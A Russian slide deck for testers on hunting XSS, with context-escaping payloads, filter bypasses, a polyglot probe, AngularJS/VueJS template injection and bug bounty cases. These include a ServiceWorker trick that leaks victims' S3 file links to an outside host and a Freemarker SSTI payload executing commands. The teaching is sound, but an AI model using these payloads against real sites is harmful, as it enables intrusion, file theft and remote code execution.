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Занимаюсь безопасностью в Контуре

Участвую в Bug Bounty (110 место из 170 000 на https://hackerone.com/)

Обучаю, консультирую, рассказываю про безопасность в вебе

Обо мне
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Тестировщики хотят научиться искать уязвимости

История доклада



Тестировщики хотят научиться искать уязвимости
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История доклада



Тестировщики хотят научиться искать уязвимости

Не знают, что именно для этого делать

Кажется слишком сложным

История доклада



Что такое XSS

Методология поиска XSS

Какую проверочную строку (пейлоад) использовать

Реальные кейсы с bug bounty программ

Какие баги ещё можно поискать

Программа



Нафига?

Вам - полезный навык

Компании - безопасность



Кое-что вспомним



XSS (Cross-Site Scripting) -

возможность выполнения 

произвольного javascript в браузере 

жертвы в контексте вашего сайта.



Основные методы вызова javascript из html:

<script>…</script>

<img onerror="…" src="x">test</a>

<a href="javascript:…">click to trigger javascript</a>

<iframe src="javascript:…">



К XSS уязвимо 95%+ веб-приложений.



К XSS уязвимо 95%+ веб-приложений.

Чтобы найти баг, не нужно обладать специальными

навыками.



К XSS уязвимо 95%+ веб-приложений.

Чтобы найти баг, не нужно обладать специальными

навыками.

Серьезная уязвимость.



XSS - причины



1. при генерации html-страницы, когда в шаблон подтягиваются:

• любые данные из БД, ранее указанные пользователем - stored XSS

• параметры из урла/тела запроса - reflected XSS

2. еще куча причин...

XSS - причины
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Иван<script>alert()</script>

Румак<script>alert()</script>

DOM (user's browser)

БД

HTML template DB call

<script>alert()</script>





???



1. пейлоад во все поля/параметры

2. смотреть в DOM на предмет санитизации

3. рано или поздно спец. символы не перекодируются / функция 

alert выполнится

4. раскручиваем/репортим

XSS - методология





F12 -> Ctrl+F -> "qweqwe"





Input: qweqwe ' " > < 

F12 -> Ctrl+F -> "qweqwe"











Html Entities - кодировка. браузеры рисуют

соответствующий символ на странице, но html тэги, состоящие из

этих символов, не рендерятся браузером как код.

' - &apos;

" - &quot;

> - &gt; 

< - &lt; 

& - &amp;

Html Entities





Санитизация - преобразование определенных

символов пользовательской строки в соответсвующие html 

entities/другую кодировку

<test> --> &lt;test&gt;

" --> &quot;

...

Санитизация





Санитизация есть.

А если бы не было?



Input: qweqwe ' " test

F12 -> Ctrl+F -> "qweqwe"





Input: qweqwe ' " onfocus='alert()' autofocus

F12 -> Ctrl+F -> "qweqwe"





Сложно



Универсальный пейлоад



Это строка, которая должна выявлять XSS 

в разных контекстах



XSS – Level 0



<script>alert()</script>



XSS: между тэгами разметки

<p>

Привет, <?php echo($_GET["name"]); ?>!

</p>



XSS: между тэгами разметки

<p>

Привет, <script>alert()</script>!

</p>

/page.php?name=<script>alert()</script>



XSS: между тэгами разметки

<p>

Привет, <?php $sql=…; echo($sql); ?>!

</p>



XSS: между тэгами разметки

<p>

Привет, Вася<script>alert()</script>!

</p>



XSS: внутри значения аттрибута

<form action="page.php" method="POST">

<input name="name" value="<?php echo($_GET["name"]); ?>">

</form>



XSS: внутри значения аттрибута

<form action="page.php" method="POST">

<input name="name" value="<script>alert()</script>">

</form>

/page.php?name=<script>alert()</script> Сработает?



XSS: внутри значения аттрибута

<form action="page.php" method="POST">

<input name="name" value="<script>alert()</script>">

</form>

/page.php?name=<script>alert()</script>

Не сработает

Нужно закрыть аттрибут



XSS: внутри значения аттрибута

<form action="page.php" method="POST">

<input name="name" value=""><script>alert()</script>">

</form>

/page.php?name="><script>alert()</script>



"><script>alert()</script>



XSS – Level 1



XSS: между специфичных тэгов

<html>

<head>

<title>Привет, <?php echo($_GET["name"]); ?></title>

</head>

<body>

</body>

</html>



XSS: между специфичных тэгов

<html>

<head>

<title>Привет,"><script>alert()</script></title>

</head>

<body>

</body>

</html>

/page.php?name="><script>alert()</script>



XSS: между специфичных тэгов

<html>

<head>

<title>Привет,"><script>alert()</script></title>

</head>

<body>

</body>

</html>

/page.php?name="><script>alert()</script>
Сработает?



XSS: между специфичных тэгов

<html>

<head>

<title>Привет,"><script>alert()</script></title>

</head>

<body>

</body>

</html>

/page.php?name="><script>alert()</script>

НЕТ!



XSS: между специфичных тэгов

<html>

<head>

<title>Привет,"></title><script>alert()</script>

</title>

</head>

<body>

</body>

</html>

/page.php?name="></title><script>alert()</script>



"></title><script>alert()</script>



XSS: между специфичных тэгов

<script>

var name="<?php echo($_GET["name"]); ?>";

</script>



XSS: между специфичных тэгов

<script>

var name=""></title><script>alert()</script>";

</script>

/page.php?name="></title><script>alert()</script>



XSS: между специфичных тэгов

<script>

var name=""></title><script>alert()</script>";

</script>

/page.php?name="></title><script>alert()</script>



XSS: между специфичных тэгов

<script>

var name=""></script></title><script>alert()</script>";

</script>

/page.php?name="></script></title><script>alert()</script>



"></title></script><script>alert()</script>

+ </style></noscript></textarea>… (по 

ситуации)



XSS – Level 2



XSS: особенности HTML

<form action="page.php" method="POST">

<input name="name" value="<?php echo($_GET["name"]); ?>">

</form>



XSS: особенности HTML

<form action='page.php' method='POST'>

<input name='name' value='<?php echo($_GET["name"]); ?>'>

</form>



XSS: особенности HTML

<form action='page.php' method='POST'>

<input name='name' value='"></title></script><script>alert()</script>'>

</form>

/page.php?name="></script></title><script>alert()</script>



'"></title></script><script>alert()</script>



XSS: внутри значения аттрибута

<?php $a = str_replace('>', '&gt;', $_GET["name"]); ?>

<form action='page.php' method='POST'>

<input name='name' value='<?php echo($a) ?>'>!

</form>



XSS: внутри значения аттрибута

<form action='page.php' method='POST'>

<input name='name' value=''&gt;<script&gt;alert()</script&gt;'>!

</form>

/page.php?name='><script>alert()</script>



XSS: внутри значения аттрибута

<form action='page.php' method='POST'>

<input name='name' value='' autofocus onfocus='alert();'>!

</form>

(onfocus не будет работать если у тэга input есть аттрибут type=hidden)

/page.php?name='%20autofocus%20onfocus='alert();



XSS: внутри тэга script

<script>

var name="<?php echo($_GET["name"]); ?>";

</script>



XSS: внутри тэга script

<script>

var name=""; alert();//";

</script>

/page.php?name=";+alert();//



XSS: внутри ссылки

<a href="<?php echo($_GET["returnUrl"]); ?>">Вернуться</a>



XSS: внутри ссылки

<a href="javascript:alert()">Вернуться</a>

/page.php?returnUrl=javascript:alert()



XSS: внутри ссылки

<a href=" javascript:alert()">Вернуться</a>

/page.php?returnUrl=%20javascript:alert()

Сработает?



XSS: внутри ссылки

<a href=" javascript:alert()">Вернуться</a>

/page.php?returnUrl=%20javascript:alert()

ДА!



XSS: внутри ссылки

<a href=" javascript:alert()">Вернуться</a>

/page.php?returnUrl=%09javascript:alert()



XSS на biz.mail.ru

Bounty – 500$

https://hackerone.com/reports/268245

https://hackerone.com/reports/268245
http://








Back to redirect XSS

<a href="javascript:alert()">Вернуться</a>

/page.php?returnUrl=javascript:alert()



Может быть требовать формат URL:

protocol://host:port/... ?

Разработчик



Back to redirect XSS

<a href="javascript://qwe.com/%0aalert()">Вернуться</a>





А может быть тогда просто запретить 

слово javascript в урле?

Разработчик



Back to redirect XSS

<a href="&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x7

0;&#x74;&colon;//qwe.com/%0aalert()">Вернуться</a>

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&colon; = javascript:



Ну, тогда я буду требовать, чтобы ссылка 

начиналась на http(s) или была относительной

Разработчик



XSS – Level 3



'"></title></script><script>alert()</script>



'"></title></script><script>alert()</script>



'"></title></script><iframe onload='alert``'>



Плюсы iframe:

1. Легко заметить, если пейлоад встраивается в страницу, но 

на onload работают санитайзеры





Плюсы iframe:

1. Легко заметить, если пейлоад встраивается в страницу, но 

на onload работают санитайзеры

2. Есть волшебный аттрибут srcdoc



srcdoc пейлоад:

<iframe srcdoc="&#x3C;script&#x3E;alert()&#x3C;/script&#x3E;">







Плюсы iframe:

1. Легко заметить, если пейлоад встраивается в страницу, но 

на onload работают санитайзеры

2. Есть волшебный аттрибут srcdoc

3. Не раскрутить XSS - есть почти гарантированный open

redirect



open redirect пейлоад:

<iframe src="https://avtohanter.ru/toplevel.html">



https://avtohanter.ru/toplevel.html:



XSS – Level 1337



Пробелы между аттрибутами в тэге могут замениться слэшем

Тэг необязательно закрывать! <iframe/onload='alert()'



From:

'"></title></script><iframe onload='alert``'>

to:

'"></title/</script/</style/><iframe/onload='alert``'



Есть кейс, когда пейлоад попадает внутрь комментария

(<!-- ... -->), нужно закрывать и его



'"></title/</script/</style/--><iframe/onload='alert``'



XSS в личных сообщениях на ...

Bounty – 3000$

https://hackerone.com/reports/...

https://hackerone.com/reports/268245


Обрезали все, что подходит под паттерн "<…>"



<iframe/onload='alert()'>



<iframe/onload='alert()'



Фреймворки



А если я использую AnuglarJS/VueJS?

Разработчик



AngularJS

{{7*7}} --> 49

https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs



AngularJS

{{7*7}} --> 49

{{constructor.constructor('alert()')()}} -->

https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs



AngularJS

{{constructor.constructor('alert()')()}} - зависит от версии

(F12 -> Console -> angular.version)

https://portswigger.net/blog/xss-without-html-client-side-template-injection-with-angularjs



AngularJS

Pro tip: ангуляру пофиг, фигурные скобки или html entities

&#x7B;&#x7B;7*7&#x7D;&#x7D; -> 49



VueJS

{{7*7}} --> 49

{{constructor.constructor('alert()')()}}



'"/test/></title/</script/</style/-->{{7*7}}<iframe/onload='alert``'<!--

</title/</script/</style/</noscript/-->… - ситуативно

'"/test/ - если можем записать свой аттрибут (onerror, onmouseover, …)

{{7*7}} - AngularJS, VueJS

если попал внутрь <script>...</script> нужно смотреть контекст



Но ведь есть много polyglot пейлоадов. В чем отличия?



1. размер строки меньше, т.к. не предусматривает попадания туда, где

нужно использовать схему javascript: (ссылки).



1. размер строки меньше, т.к. не предусматривает попадания туда, где

нужно использовать схему javascript: (ссылки).

2. включает проверку Angular, VueJS



1. размер строки меньше, т.к. не предусматривает попадания туда, где

нужно использовать схему javascript: (ссылки).

2. включает проверку Angular, VueJS

3. Расширенное покрытие случаев с записью аттрибутов



Обычные пейлоады используют onload='alert()', но у многих элементов

нет такого события. В моем это:



'"/test/></title/</script/</style/-->{{7*7}}<iframe/onload='alert``'<!--



if(document.querySelectorAll('*[test]').length>0){

prompt('XSS');

}





Можно внедрить этот код через

расширение для браузера



А почему XSS опасно?



У JS по-умолчанию есть доступ к

следующему содержимому Origin:



DOM



LocalStorage / SessionStorage



Cookie (без HttpOnly)



Любым HTTP ответам с этого же Origin



Любым HTTP ответам с этого же Origin



Любым HTTP ответам с этого же Origin



Прочие фичи

- Взаимодействие с установленными программами/расширениями



Прочие фичи

- Взаимодействие с установленными программами/расширениями

- Экспериментальные технологии JS (ServiceWorkers, Push API, ...)



А это безопасно?



Origin

Origin = protocol + hostname + port

https://kontur.ru:443



Same-Origin-Policy (SOP)

JS, выполняемый на Origin https://kontur.ru:443 не может получить доступ к 
содержимому следующих Origin:

https://google.ru:443

https://kontur.com:443

ftp://kontur.ru:443

https://kontur.ru:444



Same-Origin-Policy (SOP)

Можно сделать вывод, что XSS на одном Origin не опасна для

другого Origin



Но не всегда

Легальные обходы SOP (CORS, WebSocket, PostMessage, JSONP, Flash)

Куки, поставленные на одном порту можно прочитать на любом другом

порту

Экспериментальные фичи JS



Это интересно знать, потому что иногда приводит к 

неожиданным результатам



XSS в S3 бакете, позволяющее красть чужие файлы

Bounty – 2000$

https://hackerone.com/reports/...

https://hackerone.com/reports/268245




Загрузить html страничку?



Загрузить html страничку?



Загрузить html страничку?



Открыть ее?



1. При попытке открыть файл, на сервере генерируется подпись 

запроса для амазона, по которой файл будет доступен какое-то 

время.





1. При попытке открыть файл, на сервере генерируется подпись 

запроса для амазона, по которой файл будет доступен какое-то 

время.

2. Джаваскрипт выполняется на другом Origin





На первый взгляд XSS бесполезна, но ...



Набор следующих факторов:

1. Возможность загрузить любой файл



Набор следующих факторов:

1. Возможность загрузить любой файл

2. Возможность выполнять произвольный джаваскрипт



Набор следующих факторов:

1. Возможность загрузить любой файл

2. Возможность выполнять произвольный джаваскрипт

3. Все файлы, в т.ч. других пользователей, кладутся в одну и ту же

папку (например, в корень)



Набор следующих факторов:

1. Возможность загрузить любой файл

2. Возможность выполнять произвольный джаваскрипт

3. Все файлы, в т.ч. других пользователей, кладутся в одну и ту же

папку (например, в корень)

4. Ссылкой на загруженный файл можно поделиться с кем угодно

Позволяет красть чужие файлы через перезапись ответа

ServiceWorker'ом.



Для этого нужно:



Создать и загрузить serviceworker.js:



Создать и загрузить exploit.html:



Что произойдет, если кто-то откроет exploit.html:

1. В браузере зарегистрируется serviceworker



Что произойдет, если кто-то откроет exploit.html:

1. В браузере зарегистрируется serviceworker

2. При открытии любой страницы этого сайта, начиная от директории с 

serviceworker.js, ответ перепишется на:

<iframe src="https://avtohanter.ru/ref?x="> 



Что произойдет, если кто-то откроет exploit.html:

1. В браузере зарегистрируется serviceworker

2. При открытии любой страницы этого сайта, начиная от директории с 

serviceworker.js, ответ перепишется на:

<iframe src="https://avtohanter.ru/ref?x="> 

3. В заголовке Referer браузер передаст путь, на котором сработал 

serviceWorker



От лица жертвы:

https://****-files.s3-eu-west-1.amazonaws.com/exploit_364646.html?Signature=...



От лица жертвы:



Получаем примерно такой запрос:



Получаем примерно такой запрос:



Загрузка эксплойта -> редирект браузера жертвы туда

а дальше собирай чужие Referer и смотри файлы :)



Bonus



Email template's HTML injection

Письма - это HTML



Email template's HTML injection



Email template's HTML injection



Email template's HTML injection

Работает тот же принцип, что и для поиска XSS.

Вместо вызова джаваскрипта встраиваемся в html шаблон



Email template's HTML injection

--></script><a href="//qwe.com">qwe</a><img src=x>${7*7}{{7*7}}<!--

49 = SSTI*

*SSTI - https://portswigger.net/blog/server-side-template-injection



Email template's HTML injection



Email template's HTML injection



Email template's HTML injection





${7*7} -> 49 ??

SSTI ???

Server Side Template Injection ????



RCE via freemarker template injection

Bounty – 2000$

https://hackerone.com/reports/...

https://hackerone.com/reports/268245






Freemarker.



Freemarker.

[#assign cmd = 'freemarker.template.utility.Execute'?new()]

${cmd('id')}







Выводы:

Интернет - небезопасное место



Выводы:

Интернет - небезопасное место

Не доверяй пользовательскому вводу



Выводы:

Интернет - небезопасное место

Не доверяй пользовательскому вводу

Проверяй свое приложение



Вопросы?

kontur.ru

Ваня

@Ivan_Rumak

rumak@skbkontur.ru

kontur.ru

